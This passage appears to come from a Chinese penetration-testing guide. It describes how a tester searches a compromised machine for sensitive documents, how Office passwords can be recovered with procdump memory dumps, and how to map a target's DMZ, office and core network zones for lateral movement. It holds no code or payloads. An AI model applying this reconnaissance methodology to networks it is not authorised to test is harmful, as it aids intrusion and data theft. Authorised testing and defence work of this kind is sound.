总体来说,渗透测试人员对于这一步的工作,一是要了解已攻陷机器所属人员的职位(通常 一个高职位的人在内网中的权限比一般员工要高,在他的计算机内也会有很多重要的、敏感的个 人或公司内部文件),二是要在该机器中通过一些搜索命令来寻找自己所需要的资料。用户在内网 中工作时,建议不要将一些特别重要的资料放在公开的计算机中,必要时一定要对 Office 文档进 行加密,密码也不要太过于简单(对低版本的 Office 软件,如 Office 2003,在网上很容易找到一些破解软件进行破解;对高版本的 Office 软件,也可以通过微软 Sysinternals Suite 套件中的抓取 Dump 的工具 procdump 来获取密码) 。
2.16 分析域内网段划分情况及拓扑图结构
要养成一个习惯,在掌握了内网相关信息后,可以做一个拓扑图来帮助我们分析内网网络的分布情况。
1:基本架构
我们还需要对目标网站的基本情况进行简单的判断,分析目标服务器所使用的Web服务器、后端脚本、数据库、系统平台等。
- ASP Access IIS 5.0/6.0 Windows Sever 2003
- ASPX MSSQL IIS 7.0/7.5 Windows Sever 2008
- PHP MySQL IIS
- PHP MySQL Apache
- PHP MySQL Ngnix
- JSP MySQL Ngnix
- JSP MSSQL Tomcat
- JSP Oracle Tomcat
2:域内网划分
内网的环境判断,首先需要分析内网 IP 地址的分布情况。一般可以通过内网中的路由器、交 换机等设备,以及 SNMP、弱口令等,来获取内网网络拓扑或 DNS 域传送的信息。一般的大公司 都会有内部网站,渗透测试人员也可通过内部网站的公开链接找出部门的 IP 地址段。内部网络是怎么划分的?是按照部门划分网段,按照楼层划分网段,还是按照地区划分网段?内网通常可分为 DMZ 区、办公区和核心区(生产区) 。了解整个内网的网络分布和组成,也有助 于渗透测试人员了解内网的核心业务。
代码语言:javascript复制1.DMZ 区
在实际的渗透测试中,大多数情况下,在外围 Web 中拿到的权限在 DMZ 区。这个区域不属 于严格意义上的内网。如果 DMZ 区域访问控制策略配置合理,DMZ 区会处在内网区能够访问 DMZ 区而 DMZ 区访问不了内网区的情况下,相关知识在第 1 章中已经详细讲解过,此处不再重 复。
2.办公区
办公区,顾名思义,是指公司员工日常的工作区。办公区的安全防护水平一般不是高,基本 防护机制大多为杀毒软件或主机入侵检测产品。在实际应用中,攻击者在获取权限后,利用内网 信任关系,很容易扩大攻击面。一般情况下,攻击者很少会直接到达办公区。攻击者如果想进入 办公区,可能会使用鱼叉攻击、水坑攻击或者社会工程学等手段。办公区按照系统可分为 OA 系统、邮件系统、财务系统、文件共享系统、域控、企业版杀毒 系统、内部应用监控系统、运维管理系统等,按照网络段可分为域管理网段、内部服务器系统网 段、各部门分区网段等。
3.核心区
核心区一般存放企业最重要的数据、文档等信息资产,如域控制器、核心生产机器等,安全 设置也最为严格。根据目标开展的业务不同,相关服务器可能存在于不同的网段上。通过分析服 务器上运行的服务和进程,可以推断出目标主机使用的运维监控管理系统和安全防护系。在内网 中横向移动时,会优先查找这些主机。核心区按照系统可分为业务系统、运维监控系统、安全系统等,按照网络段可分为各不同的 业务网段、运维监控网段、安全管理网段等。
通过获取的目标主机及所在域的各类信息,就可以绘制内网的拓扑结构图,在后续的渗透测 试中,对照拓扑图可以更快地了解目标域网内部环境,准确定位内网具体目标。